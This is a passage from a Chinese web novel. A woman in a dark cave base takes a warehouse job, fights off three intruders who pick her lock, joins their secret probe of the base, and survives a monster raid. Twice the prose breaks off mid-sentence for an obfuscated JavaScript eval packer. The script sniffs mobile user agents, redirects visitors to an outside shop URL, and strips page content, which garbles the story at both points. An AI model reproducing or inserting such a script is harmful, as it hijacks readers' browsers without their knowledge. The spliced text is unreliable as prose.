这里太黑了。什么体面都是锦衣夜行,不如劳保服的结实耐用和防护性。 尺码偏大,但不要紧。口袋大些更是好事。 我们一起将劳保服上的反光带拆下来。然后我套上衣服,带上我仅有的两件财产,手机和锯齿杆。 因为知道外面有一种怪物讨厌光,我们又将光珠子收到黑皮袋里,让整个屋子陷入黑暗。 这是每次开门前都必要的操作。 这一次,我在护理人员开门时,站到了她的身后。 不出所料的,门外是一片黑暗。 9. 集会所 我想,瞎子一定能在这个世界活得很好。 很多时候我意识不到我和瞎子在生理上的差异。 不打灯的时候,四号基地,看上去就和黑湖、管道、怪物巢穴一样。也就是说,不能指望看,只能靠摸。 如果不是最开始听到了护理人员回手关门的声音,我会以为我还在屋子里,接下来漫长的路程不过是在关灯的屋子里兜圈打转。 按常理说,我正在屋外。 可天空中没有星星,我不确定头顶是天空还是穹顶。 四野没有灯火,我有时能在身侧摸到墙壁,但那些黑压压的房子也没有窗。 我手心里牢牢握着用皮袋封住的光珠子,忍住将其解放出来的欲望。 哪怕这里没有半点光亮,护理人员也知道该领着我往哪边走。她说我不用记眼下这条路线,因为我不用再回这间病房了。 又说等以后我一个人行动时,可以用黑皮袋的扣眼,让光珠子只露出一线极细的光来找路。 什么时候路走得像她一样熟了,就连这点风险也不用冒了。 我问她,“在基地里也要这样小心……那些怪物会来到基地吗?” 护理人员反问,“它们又有哪里去不了呢?” 我突然觉得眼前的黑暗无比恐惧,仿佛基地中就蹲着无数的怪物。它们只是躲在黑暗中不出声。 我明白人们为何要在空荡荡的房间中照明了,不是为了锻炼已经没多大用处的眼睛,而是为了守住那份不被怪物环伺的安全感。 “放心,只要不用光招惹它们,它们也不会故意踩死你。” 护理人员握紧我的手,“接下来,就只需要一点运气——不要被它们无意间踩死。” 这些话很吓人,而我们有惊无险地抵达了目的地。 护理人员带着我走入一条狭窄的通道,又穿越过几道门。每次我们都要回身细心地锁住门扉,避免被蹑足的怪物潜行跟在身后。 通道中静静地回荡着我们两人的足音。 不知为何我松了口气。 我不知道吞光者为何放过我,但我一直很害怕——万一我并未真的甩脱它。 在短暂的安宁中,我听见护理人员说,“到了。” 她打开最后一道门,光湮没了我。 我感到久违的眩晕。 我用模糊的泪眼看清这座明亮的大厅。这里有很多人,大约三四十人。人们正将整袋的光珠子从皮袋中倒出来。人们在角落里边聊天边喝着大碗的黑水。还有人们在清洗装备和劳作用具。 这里既像是市场,又像是候车站。 我抬头看向穹顶,望到了嶙峋的石壁。这是个洞窟。 毫无疑问,这里没有阳光——整座第四基地都是洞窟。 这里是集会所。护理人员告诉我。 集会所是第四基地的核心区域,也是唯一的公共区域。所有的物资都存放在这里。 人们来集会所换班。 要外出的,在这里集合,领取用具;从外面回来的,在这里汇报消息,上缴收获。 村长也在集会所。护理人员将我带到她那后,打个招呼就离开了,留我自个儿站着。 村长看了看我的劳保服和我脸上的痂,“来干活吧。” 我准备好了。 这一天我就都在这里整理盘点物资。没有前辈来带领指导。告诉我要做什么事情的人,是很多事都亲力亲为的村长。 她告诉我物资都摆放在哪里,哪些是需要严格管控的,登记表又要怎么填写。 我的工作很易懂。在有人拿取物资和上缴收获的时候,我就要做好登记,帮忙摆放整理。 至于没人来的时候,村长就让我去数数物资,自己找有什么能做的,又说新人要知道家底才能知道基地运转的不易。 “做得好吗?”她问我。 我说我做过快递分拣,兼职做一晚上一百四十块钱。那个我体力上吃不消,平时做得少。我还用假期帮老师整理过学校仓库。 “好学生啊。”她为此下评语。我没说后者是为了求老师帮忙补平日旷课欠下的学分。 我很快就投入到这份工作里。基地的物资不多,种类也不全面。村长说得不错,看清这种现状,能让基地成员更有抱团和加入建设的紧迫感。 集会所里有储备的黑水,还有镐头铲子之类的用具、建筑资材、衣物和最基础的日用品。 黑水是任人取用的,因为人只有吃饱了才有力气干活。要不是为了填腹,也没人真心爱喝这个,护理人员之前每次也都只给我带刚好足够的量。 其实我不确定那是否足够,因为我过去很少吃饱过。以后大概就更没有用实实在在的食物填饱肚子的机会。 我在工作的间隙里有空就去喝点黑水,想知道这能否让我更健壮点。 其他生活用品都有分配定额,不能多拿。生产用具也是要有借有还的。 集会所中间摆着几大堆生活物品,摞得像山一样,看起来是从什么地方抢救或挖掘出来的,灰扑扑乱糟糟堆在一起,没人来整理分类。 护理人员给我找到的那套防护服大概就是从这里淘出来的,不然早被人拿走了。 我慢慢移山,将那些物品收拾出来,能拿出来的都拍打除去尘土。要发现有些需要维修的,就单独放在一边等村长找人来处理。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284867|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>集会所侧边有条水道贴着洞窟壁经过,我看见有些人在那里清洗用具,就也将脏污的用品拿过去清理。 这种事做着做着很容易太投入,我不知不觉就分类清理出了一小堆物资。 直到有人叫我,“来登记入库。” 一小队人正风尘仆仆地走过来。 我今天已经见过很多次这种挖矿归来的小队。每个人的神态都很像是刚从快递分拣的夜班下来,一副被生活强取豪夺过的模样。 这只小队里却混着几个不一样的人。不是说他们活得比较轻松,事实上看衣装会显得更狼狈些,但明明都快喘不动了,脸上却莫名有种强打的精神。 其中有个看面相像是混混的人张口就说,“哇,丑女。”他目不转睛地盯着我脸上的痂。 队伍后面立刻有人叫他,“不要挑事。” 那个人则是长了副大哥脸,对我说,“抱歉,新人不懂事。” 原来如此。老于工作的人,疲惫了就只想静静地休息,这时候还要来找事的,只能是新人。 我没说我也是新人,只让他们报名字,我要登记他们归还的工具。 那几个新人将还没洗的工具拿了过来。 四号基地的规矩是由工作的使用者负责自行清洗用具。 倒不是说集中清洗有多费劲,真实原因我差不多也察觉到了——盘点物资这种闲职不是常设的。 仓库无人在岗时,就得由人们自助完成登记入库工作。老人们都习惯了这点,刚刚我去水边洗东西时,就有几拨人自行登记取物还物了。 这次没人帮我打抱不平,就连那个大哥脸也说,“很累了,帮帮忙吧。” 带头的领队没管那些新人,只将皮袋丢在地上,“清点下。” 他转身去找地方休息了。我熟练地眯起眼睛,打开那件皮袋,将亮腾腾难以直视的光从中放出来。 等清点过袋中没有鱼目混珠的情况,又称完重量,我将皮袋拖到地道口边,拎着袋口让光珠子一个接一个咕噜噜滚到地道中去。 干活的时候最好不要直视这种光芒,我望向别处,留意到那些新人没有去休息,一直在往地道口这边看。 我懂这种好奇。 矿工们过得这么辛苦,还混得这样惨,挖出来的矿都运到哪里去呢? 我工作了很久。没人喊停,我就一直做下去,直到护理人员来接我。 她等我喝完最后一碗黑水,让我带齐随身物品,再带我离开集会所,说是去没有光的场所休息。 这次我们在黑暗中走的路途要短很多。 我知道这是什么意思。我有资格住得离基地核心区域近一点了。 10. 我的屋子 这是间和病房相似的小屋,朴素,简单。 护理人员事先帮我布置好了必要的床被和生活用具。 我和村长在集会所里谈话那会儿,她提前离开,又在台账上留下了取用记录。现在我知道,她取走的那些物品都用在了这里。 “别人也住这里吗?”我看见这里的用品都是单份,就连枕头也是。 可基地物质匮乏,怎么会慷慨地将建材投入到个人使用?我原本以为自己要住集体宿舍。还是说,这个休息室就像那些挖矿用具,是公共轮换使用的? “没别人,你想的话,也可以叫人来陪你住。”护理人员犹豫了一下,“要我留下吗?” 我立刻摇头否认。 “不喜欢也可以换。这间是我看着最干净的。”护理人员说,这种空出来的房子,现在有很多。 我让自己不要去思考房子被空出来的原因和意义。 无论其由来如何,我看着眼前的房间,一种不合时宜的激动油然而生。 我第一次有了自己的房间,是我一个人的。 虽然它空荡荡的,但我很满意。我过去时常想,居所的空旷是一种富足的象征,不用勉强自己和舍不得扔的旧物品挤在一起,不用腾出空间去安放辛苦收集来的空瓶和纸品箱子。房间越空似乎就越有构想的余裕,可以在幻想中安置一个未来。 ——哪怕在这样的末日里,未来就如同一个妄想。 至少现在,我有了独立的房间,借来的用具,还有两件财产。 护理人员带我摸黑去屋外打了水,嘱咐我记得睡前擦身,随后就走了。 或许是因为喝多了黑水,又或许是养病期间睡多了,我身体疲惫,却很精神,不想立刻睡觉。 我想,或许因为我也是这里的新人。 我点着灯检查了墙壁的缝隙,看了床上床下。最后才坐下来用水擦身。 伤口已经恢复到可以碰水了,我擦完身后开始慢慢除掉老痂。血痂能保护伤口,但有些痂太大块了,像锅巴硬邦邦连成一片,反而让我难受。 今天搬运东西的时候,就有些旧痂崩裂了,牵连撕扯着还未长好的皮肉,微微刺疼。 我用锯齿杆将那些已脱落的边缘割掉,再将大面积的硬痂割碎,其从整块盔面变成有接缝的盔甲。我能从缝隙中看见愈合情况,新生的皮肤是淡淡的粉色。 我正在观察身体的恢复情况,突然听到了屋外逐渐接近的异响。我心一紧,先辨认出那不是吞光者。 有人压低了声音悄声说话,我听得见却听不清。 是人类。 我没有掉以轻心,先迅速穿好衣物,再将光珠子放进黑皮袋中,灭了屋内的光。 等那声音靠近小屋的时候,我已经将薄布片缠在手上作为护具,紧握锯齿杆躲到门侧,将耳朵贴近门缝。 来人靠近小屋反而不说话了。 声音静了一会儿,又突兀地在我耳边响起,是有人在摸索门上的锁——他就是冲我这间屋子来的。 我按住自己的心跳,感受到心脏正在将充满力量的血液泵往全身。屋门已经反锁,钥匙还在我的手中。可我记得,基地中很多人都拥有特殊能力。 很快,我就听到锁芯弹跳的声音。 门开了。一线极细的光线照入室内正前方的墙壁。我背贴在墙壁上,放缓呼吸,蓄势待发。 等为首那人走进房间的时候,我从黑暗里扑出去,估着寻常成年男性的身高,用力挥出锯齿杆。 运气很好,我架住的恰恰就是对方的脖子,而不是脑袋或胸口。 我绊了对方的腿,用体重将其压倒在地。 对方倒下时接连撞了别人,混乱的黑暗里一群人相继滚倒在地。 我紧紧抱住我的人质不松手,不管形势多乱,也不管其他人怎么行动,只死死将锯齿杆抵在这一个人质的脖子上。 我听到他惊慌中接近哭泣的喘息。 有一线光芒在地上明明灭灭地滚动。 是和我同款的黑皮袋,光珠子从刻意凿出的细孔中仅泻出一线光。 那光线从我们的脸上晃过。 我看见被我按住的人,有张年轻惊惶的脸,略有些眼熟。 对方也看清我的脸,很是意外。 “大姐,”他低喊哀求,“有话好商量。” 我凶狠地磨牙威胁,“叫其他人都闪开。”我知道在街头群架里该怎么表现,等被我按住的这个人质彻底崩溃掉才开始控制轻重。 这时我才发现,曾将我手掌割到见骨的锯齿杆,在扭打中多少见了点血,却远没有预想中那么深。某种力场将锯齿杆隔绝在人质的伤口之外,我再下力气也无法前进。 以人质的惊吓程度来看,这不像是他的自救。 该死的能力。 人质也缓过神来,想要反击。我用力踩住他肚子,用肩膀顶住他的回击。 旁边有人喝止,“别动手,是认识的。” 说话的人同时握住了我和人质的胳膊,那种力场锁住了我的胳膊。我转脸看那个人,不认识,但有点猜测。于是我点点头,含糊地假装也还记得他的脸。 我装作卖他们面子,放开人质站起来,揉了揉胳膊,歪头斜睨着他们。 他们有三个人:人质,我假装认识的劝架者,还有个女孩。那女孩不顾这边的情况,追上那个滚走的光源,捡起来小心地藏到掌中。 四周复归黑暗。 数分钟后,一群人在我的小屋中落座。 之前被我按倒在地上的那个人质,摸着脖子抱怨,“你怎么都不问问是什么人,就、就随便下手啊?” 我惊讶于他的无耻。 “你们没敲门。”情绪的阈值果然是会增长的。遭遇过吞光者后,我现在都能冷静地处理非法入室这一我曾极度忧惧的场景,心中却没什么多余的悸动了。 作为都市单身女性,躺在地下室里担心治安问题而不敢深睡的回忆,仿佛就发生在昨天。 现在的我则完全不同了。我戒备地盯着眼前几人,暂时还提不起害怕的情绪。 我大概想起了这是谁。年轻的人质好像就是今天集会所里那个混混,他这一害怕,那混混气质就全掉光了。阻止我们动手的男人可能就是之前那个大哥脸。女孩我没印象,可能也在白天那个队伍里。我记得那支队伍里有男有女。 我记不清他们的脸。我不动声色地等他们开口,以便找到证据来确认我的猜测。 “能怪我吗?”年轻的人质抱怨,“昨天这屋里也没住人啊!” 他们还来这踩过点。 我警觉性加倍提高,“你们想来我屋里做什么?” 年轻的人质看看大哥脸,不说话了。 几乎是立刻,我就在心底给这俩人换了代号,分别是大哥和小弟。另外那个女孩就记作小妹。 现在是大哥来主事了。 他说,“其实白天我就认出你来了。” 我沉默了一秒。我绝不会告诉他,我到现在还没认出他是谁。我只冷着脸等待他继续。 “我们在那个洞口见过,”大哥说,“分组的时候。” 我有些嫉妒像他这种人的记忆力。尤其是我脸上的痂和这身被小弟喊成大姐的装束都没有影响大哥的判断,他甚至还带着几分熟稔和关切地问,“你后来重新分组了吗?” “哦。”看来他是真记得我。 这是见过我分组的证人。我立刻想到,如果以后村长她们怀疑我瞒报能力,可以让他来当证人。 大哥不会让气氛冷场。我的经验是,不脸盲的人似乎都具备这样的能力。 他找话说道,“这也算是不打不相识吧。” 我心底将这叫做互给下马威。 没有刚刚那场较量,我们是不太可能像现在这样心平气和地平等对话的。 他们知道我当初分组时不具备能力,刚刚也在冲突中再度确证了这点。但决定人和人相处模式的可不全靠纸面实力,还有人类的综合主观判断——对面的家伙好不好糊弄,会不会认真,能不能惹。 所以现在是我提问,他回答。 我问,“你们是从几号洞口过来的?” “四号。”大哥问,“你最后去一号洞口了吗?” 看来基地的序号是与当初那些洞口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284868|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次序对应的。“我出了点意外。” 只有我知道那场分组在最后发生了变故。因为其他亲历者都死了。 我说,“我记得走四号洞口的人很多。” 当初待考时要研究参考别人的去路,我数过的,被分配到四号洞口的人大概有七八十个。 “是啊,当初那趟路走得不容易。”大哥似乎有意和我对照彼此经历,“不熟悉地形,又看不到希望,还有些奇怪的生物……很多人半道放弃了。” 我不会追问那些放弃的人都去了哪。他们还能去哪呢? “这几天来到基地的新人我都数过,才三十来个。” 大哥连我都能认出来,我相信这个数字不会有错漏。 “你是来得最晚的,”他看着我脸上的痂,“你遭遇了什么?” “待会再说。”我不搞清楚情况就无法信任他们,“你们走了多久?来这里几天了?” 在来到基地前,大家都没有可靠的计时工具。仅从之后的经历判断,他们似乎比我来基地养病还要晚一两天抵达,彼时他们也已在生命垂危的极限,勉强养了两天就去矿里上工,比我到岗只早了一天。 他们在路上忍受漫长的饥饿、疲惫、孤独、绝望,半数以上的人都未能走完那段旅程。 我觉得这实在太好笑了,我在变故中被吞光者抓去折磨,又莫名其妙逃脱出来,这竟然还是提前到达四号基地的捷径。 我不知道他们会作何感想,但我绝对不是自愿的。 不,这没有意义。能活下来就够不容易了。 我不需要在乎别人怎么想。 他们这批拥有能力的新人,来到四号基地后被分去各个矿工小队。他们所在的矿工队里就有好几个新人,约定了要互相照顾,而他们三个在行动理念上比较接近,结成了一个小团体。 这个小团体的求知欲,或者说独立意识比较强。 四号基地官方的生活方针很实用,但对整体生存环境信息的揭示,就像当初持光者的分组仪式一样,草率简单,聊胜于无。 他们怀疑基地对新人隐瞒了许多信息,想要靠自己调查找出底细。 虽说在矿上快累脱了形,他们还是尽量利用休息时间出来探索基地,然后摸到了我的小屋。 他们昨天已确认过这是间空屋。 我知道他们今天特地再来此,肯定别有目的。 大哥在此时停下话语。我知道,该轮到我展现诚意、交待经历了。 他们宽容地先作自我介绍,对我报上姓名,还交待了各自的能力。 我知道,他们这是在所谓的不打不相识后,拿出了交友的尊重态度,于是我也回答了自己在基地登记的姓名。 交换姓名是必走的程序,但我没太费力去记他们三个人的名字——我更习惯在心底使用自己取的代号。 那也是过去打短工时留下的习惯。我的生活总在变化,有太多形形色色的人来来去去。有些同事能分毫不差地亲昵喊对每个顾客的称谓,我没有这种天赋。 对我来说,老板不分好坏都是某总,老师不管高低都是某老师,同事不论善恶都是哥姐。其他要记住的特殊对象,称呼就是某先生、某采购、胖子瘦子和花衬衫之流。 这种归类法不占内存,换个工作环境即可一键删除相关记忆,常用的代号还能换人重新利用。 我对此有过充分的经验,只要尬聊的时候对同个对象保证态度上的一致性,大多数人就会以为你认得他,不会在意你有没有在谈话开头叫过他的名字。 无论村长、护理人员,还是眼前的三人小队,他们都是如此。 小弟将自己的能力命名为万能工具,他能将小臂前端的部分躯体变形成各种各样的工具,包括用于撬锁的针和刚刚反击时试图砸我的榔头。 大哥能够制造一种无形的力场,我刚刚在屋口也已经见识过了。 小妹没多说,只说自己的能力可以藏起物品。她手掌一翻,就将那个装有光珠子的皮革袋藏了起来。 “我没有能力。”我摸着脸上的痂,告诉他们。 小弟立刻捧场地说,“大姐你了不起。” 11. 打工兼职 我按照当初给村长的说法,对三人组再次讲述了我的经历。 分组仪式上有人用发光的能力激怒了怪物,怪物在现场展开屠杀,我重伤昏睡,事后被四号基地的人捡回。 三人组并不知道四号基地是在哪里捡到我,对我脱险的结果没有太多疑虑,只感慨我的幸运,更庆幸他们自己参加分组早,离开得也早。 “也许你的能力就是幸运呢?”小弟眼睛发亮地说。 我知道事实和那截然相反。 “大难不死,必有后福。”大哥立刻说道。我看见小妹拉了下小弟的衣角,皱着眉对他摇头。 我没懂他们在演哪出。 大哥先为某个我不懂的原因道歉,然后问我怪物的具体情报。 这部分没什么好隐瞒的。 我巴不得他们有能力应付吞光者,或是能找出怪物的弱点。 但他们现在能做的也只有记下这些情报,并进行一些猜测。 基地这边传授了许多在黑暗中躲避怪物的生存守则,诸如熄灯、随手关门、听到哒哒哒哒的以四声为单位的连续声响时要丢掉照明奔跑、摸到砂砾震动时用硬物敲击墙壁等知识,却从未对怪物们的生态和分布进行任何的介绍。 “基地里肯定有很多事情没有告诉我们。”大哥严肃地说。 这不是理所当然的吗?我心想。我打过那么多份短工,没有哪个老板会将完整的商业策划和盈利数据对临时员工和盘托出。 对我人生中遇到的那么多破事,我也从不奢求有任何人会给我主动解释。我得主动去质问,“所以,你们到底来我家做什么?” “我们昨天来过,以为这里是空屋。”大哥说,“想借地存放点东西。” 一直沉默寡言的小妹终于走上前来,翻转手掌,光珠子接连从她掌中落下,弹跳着满地乱蹦,映得屋内光华大作,我几乎要看不清对面晃动的人脸。 “我想知道我们每天去挖取的这些矿物,要全部上缴给基地的重要材料,”大哥在这雨声中说,“究竟是什么。” “你们偷藏了光珠子。”我说。 “你不想知道这是什么吗?” 我想。 “你们打算怎么研究?” “还没想好,先留下来,总有用处。”大哥说,“帮我们打掩护,分你一份。” 我才刚拥有了自己的房间,没想到这么快就能置办私产,“不能放在我这。” “你住的话,肯定不会放你这。我们另外找可靠的地方。”大哥拉我入伙,“你要加入我们的调查。” 我从来不嫌兼职多。我对他们的调查持保留意见,但我也从来不挑老板的错。我需要他们这边的情报来源。 我只想知道,光珠子不能用小妹的能力来存放吗? 大哥帮忙解释,说小妹的确可以藏东西,但是很消耗力气,在矿上能趁人不注意瞒下光珠子,却没法保持长期携带。 尤其是光珠子性质特殊,似乎比同质量的其他普通物品更难收藏。 我想起在集会所里邂逅这只小队的时候,似乎确实有看到某个姑娘格外疲累虚脱,熬得小脸煞白。 小妹蹲下身将地上的光珠子一颗颗收拢起来,并不急着收回去。那些珠子格外耀眼,她藏得并不多,大概二三十来颗。 我又想起来一件事,将自己还未磨平的锯齿杆递出去,问小妹能不能帮我将末端握柄上的锯齿收到空间中。 小妹抬眼看我。旁边的小弟似乎得到提示,大呼小叫起来,“是次元斩!这思路厉害了,能开发出来吗?” 我从小妹黑暗沉默的眼睛中看出,一直被当做后勤辅助的她其实早就想到了这种事情。 她只是不说。 小妹拿过锯齿杆试了试,说自己做不到分离,只能将整件物品藏起来,而且也很吃力。 我心想,这大概和锯齿杆的特殊物质构造有关。 我也不说。 三人组走后,我在自己的房间睡了长长的一觉。醒来又运动过,到肚子都有些饿了的时候,护理人员才来接我去上班。 这次她让我用一丝光线照路,说我要靠自己记住去集会所的路,之后就不再来捎我。 哪怕有一丁点光线辅助,路都会好走很多。三人组就是靠这点光在黑暗中探索基地,来来去去。 我记下这路线,觉得并不像记住人脸那么难。 我问护理人员,我今后要如何辨别上下班的时间。 她说她有块机械表,其他人就不怎么管时间,因为这里没有日夜,生物钟随意颠倒。 去挖矿的小队们分了两班轮换,各自觉得对方才是夜班。矿工们睡够了就到集会所边休息边等待交班,一队回,一队走,就算不知道时间也不耽搁事情。 像她这样特殊的后勤员工才有自己的排班,之前我都是参照她的时间表,能适应的话,之后也可以按体感大致比着来。 她让我不用急着领取钟表,因为之后村长可能会对我有另外的安排。 我在集会所又干了几天活。 这里没有明面上的绩效考核,偷懒是很轻而易举就能想到的念头。要参考的话,就连其他新人都在偷偷摸摸地藏起本该上缴基地的业绩。 但就算我这样孤僻的人也知道,在加入集体的最初期,表现出多看多做的态度,是件很重要的事情。 像我这样缺乏力量的人,很看重意志的作用。这并不是什么吃亏或老实,而是一种声明,是在新环境中向他人展现自己的求生欲望——我活得很认真,你们最好不要妨碍我这样认真地活着。 我整理出来的物资渐渐堆成了几座小山。 一些需要维修的物件,我也尽可能尝试去着用我丰富的生活经验去处理。 我并非打白工。在我的配额限度内,我为我的房间挑选了一些用品——过去我从没想过,我还能有在休息时间使用健身器材的余暇。 最值得一提的是,我找出了一条很棒的工装皮带,可以将我宽松的劳保服束起来,而且还有个刚刚好的装饰扣,稍稍拿锉刀改造一下,就能将我磨好的锯齿杆固定上去。 我现在能更便利地随身携带自己唯一的武器了。 我还借着工作的机会,在与人的接触中有意识地尝试运用自己的能力。 这不算难,我几乎是戒备着除我以外的所有人,那种戒备和惧怕的区别并不大。 我很克制地实验着能力的效果与范围,只需要别人的一点点好意,从不引来过多的关注。 别人的好意固然很好,但某种预感告诉我要谨慎点,更谨慎点,尽可能不要被别人发觉。 而且,某种人类的自尊心让我很难真心实意地害怕别人。这又不像是面对怪物,他们有什么了不起?我承认我从小到大害怕过很多人,但不愿意那样深刻地去害怕他们。 这些天里,我每天都会在集会所的采矿小队中见到那三人调查组。因为先前的冲突和那晚的经历,我不害怕他们。 这种 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之所以数字不准确,是因为名册上很多人都在失踪或外出状态。不是每天外出的矿工小队都能按时归来,归来时也未必是全数——大哥小弟小妹他们倒是很幸运,没遇到减员的情况,据说是因为他们有个经验丰富且能规避风险的领队。 这种规模的组织,放在过去的人类社会里,充其量只能算是家小型企业。 基地的宿舍都是些借地势挖掘或搭建出来的房屋,散落各处,靠地道串联。 “像是蚁道和蚁室。”大哥说,“我们在立体蚁巢中。” 在他们的领路下,我渐渐记住了这里的道路。 基地的整体地形也不复杂,几条地道都是以集会所为中心,像是守护花苞的藤蔓,高低交错。 我们一度往高处寻找,但是没有找到通往地表的出口。 我想,这座基地太小了,我记得当初养病时居住的那间屋子离集会所很远。 要么是护理人员在带路时领着我绕路,要么,我当初就是被特意安排在了基地外的某个偏远据点。 他们在寻找线索,我也在有意识找那个房间。 调查组会在基地中一间间房屋敲门过去,如果是闲置空屋或恰逢主人离开,就由小弟开锁进去检查。小弟的撬锁技能已经快磨炼得炉火纯青了,但我们还未找到仓库、档案室、秘密会议室之类的特殊场所。 如果敲门时有人应,就更合调查组的意。人是比物更重要的信息来源。这时就轮到大哥出面,他看人下菜碟。 他做的那些事都是我做不到的。 他记得住曾在集会所见过聊过的人,和他们攀交情,说是特地登门拜访,请求指导些在基地生存和挖矿的经验; 他不畏惧陌生人,假称是新人来见邻居,虚心地打听基地的规矩; 他还会辨别他人的性情,有时对方开门后就会立即道歉,说是新人走错路,然后快速领着我们离开。 这些对“他人”下的功夫,都是我从未磨炼过的能力——如果让我选,我希望世界上没有“他人”。 我们也会敲到其他新人的门。大哥会与他们交换情报,分享一些知识,但对自身更长远的调查计划有所保留。 他也没有邀请其他人加入我们的调查。 “四人小组是最合适的行动组规模。”大哥解释,“在提出具体的行动目标前,不需要盲目集结群众。” 小弟立刻反驳,“之前三个人的时候你也是这样说的。” 我问,“具体行动目标是什么?” 12. 灰眼睛 大哥认为我们现在深陷一场绑架和黑劳工案。 从黑湖开始,持光者的分组仪式,到四号基地,都笼罩在犯罪组织的阴影之下。 某种势力将我们绑来危险的处境中,让我们面临未知的怪物威胁,冒着生命危险替他们谋取利益。 光珠子,就是那个势力想要获取的资源。 大哥目前所有的调查都基于这个猜想,他想要搜集证据,查出幕后黑手的资料。 等完成这个阶段的调查后,他将视情况制定战略,组织黑劳工逃脱或反抗。 他有很多备案计划,“最坏的情况下,我们也要设法将消息传递出去,等待外界的社会救援。” 我不擅长反驳人,所以听完他的计划后,我没有发言。 大哥却主动问我,“你怎么想?” 于是我想了想,想起了清晨街道上被高楼截断的漫天碎云,云层后并不耀眼的灰银色天光,和四处漫逃的人群。 想起了那苍凉得使人伤心的景象。 “最坏的情况下,或许已经不存在什么外界和社会救援了。” 沉默中,小弟唐突地笑出声来,“哈哈,哈哈。” “你相信基地?”大哥问。 “你以前做过黑劳工吗?”我问。 “我看过社会新闻报道。”大哥直起身体,“你见过?” “我见过别的。”我说,“我觉得,和这里有些区别。” 我没有十分把握。毕竟大哥说得很对,我们某种程度上的确失去了人身自由。 黑暗与怪物就像茫茫的野山,将我们锁在这座基地里。无论村长和护理人员的具体态度如何,我们都无法逃脱。 但很快,我们就不再讨论这样的事情了。 变故发生在我值班的时候。 集会所里在场人数不多,一些人在等待换班。那三个人还没到。我着手整理一堆乱糟糟的衣物散件,试图从中找出一双足够结实的手套。 我正揪着那个很有希望的棉线手套指头,试图将其从纠缠打结的衣服堆中抽出来的时候,集会所里响起一阵铃声。 我对那声音很陌生,没有立刻放在心上。但周围人们说话的声音都停了。我下意识抬起头去看别人,矿工们面色阴沉,已全部站起身来。 然后,我在这份刻意保持的安静中,听清了从某条通道中传来的,金属门被砸烂的声响。 有东西在过来。 往集会所来。 其他人似乎都知道要做什么,他们安静而迅速地,各自分散,将集会所中用于照明的那些光珠子都藏起来。 大厅一层层黯淡熄灭。 我几乎没怎么考虑就立刻躲到了自己整理的那几座杂物山后。黑暗降临,我不再冒险移动,紧贴着杂物将自己蜷缩成更小的体型,我一手将锯齿杆从皮带中抽出来,另一只手紧紧握着黑皮袋中的光珠子。 黑暗中,有什么东西冲入了集会所。我听到了物品倒地的短暂仓促声音,七零八落,有时近,有时远。 外来的生物在这座大厅里肆意巡游。人们藏身在黑暗中压着呼吸。 那玩意或许曾靠我很近。我没有听到它的动静,但杂物山突然倒了一堆。那些文具和衣服砸在我的身上,我一声不吭。 被杂物浅浅掩埋起来,我反而觉得安心。 它们终于发出了声音,像是幽灵的尖啸,又像是猴子的笑声,尖利地回荡在大厅里。 那声音闪现各处,拖曳着长长的尾巴。 原本躲藏的人们像是得到了什么信号,开始动手反击。 嚎叫。断裂。雨声。碰撞。 这些可怖的声响中有明暗闪动。 某种生物在混乱的战争中碰到了我。我无法自制地颤抖着尖叫,本能地将锯齿杆刺了出去。 被挡住了。有只手掌像铁一样钳住了我的手腕——是人类。 照明恢复了。 人们试探着放出光源,清点战场,嘲笑自己的虚惊一场。几具像是畸形小恶魔的生物尸体碎片散落在地上,泻出耀眼的血液。身负能力的人们似乎并不惧怕这种怪物,他们惧怕的是别的。 我看向在黑暗中曾与我误会纠缠的人,他有着一双灰眼睛。 “放开我!”我咬牙切齿地说,我的手腕很痛,令我的声音都有些变形。 他松开手,看着我,然后走开。 村长很快就到了,指挥着人们处理残局。通道里被破坏的门要修理,示警系统要重新布置,怪物的尸骸也要处理。 人们用刀将那种小怪物黑色的皮剥取下来。 怪物的血液像是水银放着光彩,而基地最不需要的就是不能随时关闭的光源。人们用能力和工具将那些沾血的地面都刮掉,像处理呕吐物一般,用泥沙混合收集血液,然后一起运出去掩埋。 集会所很快就恢复了平静。我却无法再安心地回归工作。 三人组终于来到了集会所。他们很想了解刚才发生的事件,但我们没有时间交流,他们的小队人等齐了人就要出发。 大哥看了我好几眼。 我猜他是想说等“夜间”再交流。 他们出发的时候我才发现,那个有着灰眼睛的人,似乎也在他们那支队伍里,走得很靠前。 我留在集会所,向空闲的人们打听关于小怪物入侵集会所的事情。这种事常有吗?每次都能解决吗?最好该怎么办? 人们的态度都很冷淡。在四号基地,并非每个人都麻木冷漠,消极厌世,但基地中多少弥漫着这种倾向。 就连大哥出马调查时,人们也更热衷于共同找寻往日的回忆,而不乐意谈论当下。 我简单尝试了几次,就放弃了这种以个人为单位的询问。 我这天工作了很久,可能比平日要更久一点。等看到三人组那只小队回来,我才知道我下意识在等什么。 他们今天出发得晚,但不知为何在外的时间比往常短,不然我也是等不下去的。 这只小队今天收获不佳,带回来的光珠子不多,倒是搬运了很多黑水,倒回公用的食水池中。 由于四号基地的人们缺乏交流生活的欲望,我们几个人四处拜访打听的消息似乎还未在集会所中传开。 按照大哥的战略,我们在集会所时不要太引人注目地抱团,尤其是不要暴露矿工和仓管员间的密切联系。 在这点上我做得很好,我很擅长公事公办。 他们交完班后没有在集会所逗留,我立刻放好登记册,拿起新手套,下班。 他们几个新人的住所分散在不同的通道方向上。这也是大哥的战略,是为了更方便监听基地不同区域的动静。 